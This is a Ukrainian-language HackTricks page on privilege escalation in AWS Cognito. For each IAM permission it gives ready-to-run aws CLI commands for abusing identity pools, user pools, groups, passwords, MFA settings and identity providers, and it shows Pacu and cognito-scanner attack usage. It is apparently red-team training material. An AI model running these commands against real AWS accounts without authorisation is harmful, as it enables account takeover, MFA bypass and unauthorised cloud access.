AWS - Cognito Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Cognito

Для отримання додаткової інформації про Cognito перегляньте:

pageAWS - Cognito Enum

Збір облікових даних з пулу ідентифікаторів

Оскільки Cognito може надавати облікові дані ролі IAM як аутентифікованим, так і неаутентифікованим користувачам, якщо ви знаходите ідентифікатор пулу додатка (його має бути захардкоджено в ньому), ви можете отримати нові облікові дані і, отже, підвищити привілеї (в межах облікового запису AWS, де ви, ймовірно, навіть не мали жодних облікових даних раніше).

Для отримання додаткової інформації перегляньте цю сторінку.

Потенційний вплив: Пряме підвищення привілеїв до ролі служб, прикріпленої до неаутентифікованих користувачів (і, ймовірно, до тієї, яка прикріплена до аутентифікованих користувачів).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

З цим дозволом ви можете надавати будь-яку роль Cognito аутентифікованим/неаутентифікованим користувачам додатка Cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Якщо додаток Cognito не має ввімкнених неавтентифікованих користувачів, вам може знадобитися також дозвіл cognito-identity:UpdateIdentityPool, щоб ввімкнути його.

Потенційний вплив: Прямий підйом привілеїв до будь-якої ролі Cognito.

cognito-identity:update-identity-pool

Зловмисник з цим дозволом може, наприклад, встановити Cognito User Pool під своїм контролем або будь-який інший постачальник ідентичності, де він може увійти як спосіб доступу до цього пулу ідентичності Cognito. Потім, просто увійшовши на той постачальник користувачів, він зможе отримати доступ до налаштованої аутентифікованої ролі в пулі ідентичності.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Також можливо зловживати цим дозволом, щоб дозволити базову автентифікацію:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Потенційний вплив: Компрометація налаштованої перевіреної IAM-ролі всередині пула ідентифікації.

cognito-idp:AdminAddUserToGroup

Ця дозвіл дозволяє додавати користувача Cognito до групи Cognito, тому зловмисник може використовувати цей дозвіл, щоб додати користувача під своїм контролем до інших груп з кращими привілеями або різними IAM-ролями:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Потенційний вплив: Підвищення привілеїв до інших груп Cognito та ролей IAM, прикріплених до груп користувачів User Pool.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Зловмисник з цими дозволами може створювати/оновлювати групи з кожною роллю IAM, яку можна використовувати компрометованим постачальником ідентичності Cognito та робити компрометованого користувача частиною групи, отримуючи доступ до всіх цих ролей:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Потенційний вплив: Підвищення привілеїв до інших ролей IAM Cognito.

cognito-idp:AdminConfirmSignUp

Ця дозвіл дозволяє підтверджувати реєстрацію. За замовчуванням будь-хто може увійти до додатків Cognito, якщо це залишено, користувач може створити обліковий запис з будь-якими даними та підтвердити його за допомогою цього дозволу.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Потенційний вплив: Непряме підвищення привілеїв до ролі IAM басейну ідентичності для автентифікованих користувачів, якщо ви можете зареєструвати нового користувача. Непряме підвищення привілеїв до інших функцій додатку, можливість підтвердження будь-якого облікового запису.

cognito-idp:AdminCreateUser

Ця дозвіл дозволить атакуючому створити нового користувача всередині басейну користувачів. Новий користувач створюється як увімкнений, але йому потрібно буде змінити свій пароль.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Потенційний вплив: Пряме підвищення привілеїв до ролі IAM басейну ідентичності для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій додатку, здатних створювати будь-якого користувача

cognito-idp:AdminEnableUser

Ці дозволи можуть допомогти в дуже рідкісному випадку, коли зловмисник знайшов облікові дані вимкненого користувача і йому потрібно знову ввімкнути його.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Потенційний вплив: Непряме підвищення привілеїв до ролі IAM пула ідентифікації для автентифікованих користувачів та дозволів користувача, якщо зловмисник має облікові дані для вимкненого користувача.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Ця дозвіл дозволяє увійти за допомогою методу ADMIN_USER_PASSWORD_AUTH. Для отримання додаткової інформації перейдіть за посиланням.

cognito-idp:AdminSetUserPassword

Цей дозвіл дозволить зловмиснику змінити пароль будь-якого користувача, що дозволить йому уособлювати будь-якого користувача (якщо у нього немає увімкненого MFA).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Потенційний вплив: Пряме підвищення привілеїв до можливо будь-якого користувача, тобто доступ до всіх груп, до яких належить кожен користувач, та доступ до ролі IAM, яка була аутентифікована в басейні ідентичності.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Зловмисник може потенційно використовувати це дозвіл для встановлення мобільного телефону під своїм керуванням як SMS MFA користувача.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Подібно до попередньої ця дозвіл може бути використаний для встановлення уподобань MFA користувача для обхідної захисту MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Подібно до попередньої ця дозвіл може бути використаний для встановлення налаштувань MFA для пулу користувачів для обхіду захисту MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

Оновлення пулу користувачів: Також можливо оновити пул користувачів, щоб змінити політику багатофакторної автентифікації. Перевірте cli тут.

Потенційний вплив: Непряме підвищення привілеїв для потенційно будь-якого користувача, у якого зловмисник знає облікові дані, це може дозволити обійти захист багатофакторної автентифікації.

cognito-idp:AdminUpdateUserAttributes

Зловмисник з цим дозволом може змінити електронну адресу або номер телефону або будь-який інший атрибут користувача під своїм контролем, щоб спробувати отримати більше привілеїв у базовій програмі. Це дозволяє змінювати електронну адресу або номер телефону та встановлювати їх як підтверджені.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Потенційний вплив: Потенційний опосередкований підвищення привілеїв в базовій програмі за допомогою Cognito User Pool, яка надає привілеї на основі атрибутів користувача.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Зловмисник з цим дозволом може створити нового клієнта пулу користувачів менш обмеженого, ніж вже існуючі клієнти пулу. Наприклад, новий клієнт може дозволяти будь-який метод аутентифікації, не мати жодного секрету, мати вимкнену відкликання токенів, дозволяти токенам бути дійсними протягом тривалішого періоду...

Те ж саме може бути зроблено, якщо замість створення нового клієнта, змінюється існуючий.

У командному рядку (або в оновленні) ви можете побачити всі параметри, перевірте це!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Потенційний вплив: Потенційний опосередкований підвищення привілеїв до користувача, авторизованого в Ідентифікаційному пулі, який використовується Користувацьким пулом, створивши нового клієнта, який послаблює заходи безпеки і дозволяє зловмиснику увійти як користувач, якого він зміг створити.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Зловмисник може скористатися цим дозволом для створення користувачів, завантаживши csv-файл з новими користувачами.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(У випадку створення нової роботи з імпорту вам може знадобитися дозвіл iam passrole, я ще не тестував це).

Потенційний вплив: Прямий підвищення привілеїв до ролі IAM для пулу ідентифікації для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій додатку, здатних створювати будь-якого користувача.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Атакувальник може створити нового постачальника ідентифікації, щоб потім мати можливість увійти через цього постачальника.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Потенційний вплив: Пряме підвищення привілеїв до ролі IAM пула ідентифікації для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій додатку, дозволяючи створювати будь-якого користувача.

Аналіз cognito-sync:*

Це дуже поширене дозвіл за замовчуванням в ролях пулів ідентифікації Cognito. Навіть якщо дозвіл зі зірочкою в завжди виглядає погано (особливо від AWS), надані дозволи не є дуже корисними з точки зору атакуючого.

Цей дозвіл дозволяє читати інформацію про користувачів пулів ідентифікації та ідентифікатори ідентичності всередині пулів ідентифікації (що не є чутливою інформацією). Ідентифікатори ідентичності можуть мати Набори даних, призначені для них, які є інформацією про сесії (AWS визначає це як збережену гру). Можливо, що вони містять якусь чутливу інформацію (але ймовірність цього досить низька). Ви можете знайти на сторінці переліку як отримати доступ до цієї інформації.

Атакуючий також може використовувати ці дозволи для запису себе до потоку Cognito, який публікує зміни в цих наборах даних або лямбди, яка спрацьовує на події Cognito. Я не бачив, щоб це використовувалося, і не очікував би тут чутливої інформації, але це не є неможливим.

Автоматичні Інструменти

  • Pacu, фреймворк експлуатації AWS, тепер включає модулі "cognito__enum" та "cognito__attack", які автоматизують перелік всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, використовані для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та підвищення привілеїв на основі змінюваних користувацьких атрибутів, використовуваних облікових даних пулу ідентичності, ролей, які можна припустити в ідентифікаційних токенах тощо.

Для опису функцій модулів див. частину 2 посту в блозі. Інструкції щодо установки див. на головній сторінці Pacu.

Використання

Приклад використання атаки cognito__attack для спроби створення користувача та всіх векторів підвищення привілеїв проти заданого пула ідентичності та клієнта пула користувачів:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Приклад використання cognito__enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичності, користувачів тощо, які видно в поточному обліковому записі AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner - це інструмент командного рядка на python, який реалізує різні атаки на Cognito, включаючи підвищення привілеїв.

Установка

$ pip install cognito-scanner

Використання

$ cognito-scanner --help

Для отримання додаткової інформації перевірте https://github.com/padok-team/cognito-scanner

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated